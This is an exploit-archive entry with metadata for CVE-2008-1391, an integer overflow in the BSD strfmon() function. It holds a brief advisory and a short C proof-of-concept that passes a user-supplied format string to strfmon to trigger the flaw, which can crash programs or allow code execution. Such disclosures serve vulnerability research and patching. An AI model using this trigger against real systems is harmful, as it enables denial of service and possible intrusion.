BSD (Multiple Distributions) - 'strfmon()' Integer Overflow

Author: Maksymilian Arciemowicz
type: dos
platform: bsd
port: 
date_added: 2008-03-27 
date_updated: 2014-02-11 
verified: 1 
codes: CVE-2008-1391;OSVDB-43837 
tags: 
aliases:  
screenshot_url:  
application_url: 

// source: https://www.securityfocus.com/bid/28479/info

Multiple BSD platforms are prone to an integer-overflow weakness.

An attacker can exploit this issue through other applications such as PHP to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects FreeBSD 6, 7 and NetBSD 4; other platforms may also be affected.

#include <stdio.h>
#include <monetary.h>

int main(int argc, char* argv[]){
char buff[51];
char *bux=buff;
int res;

res=strfmon(bux, 50, argv[1], "0");
return 0;
}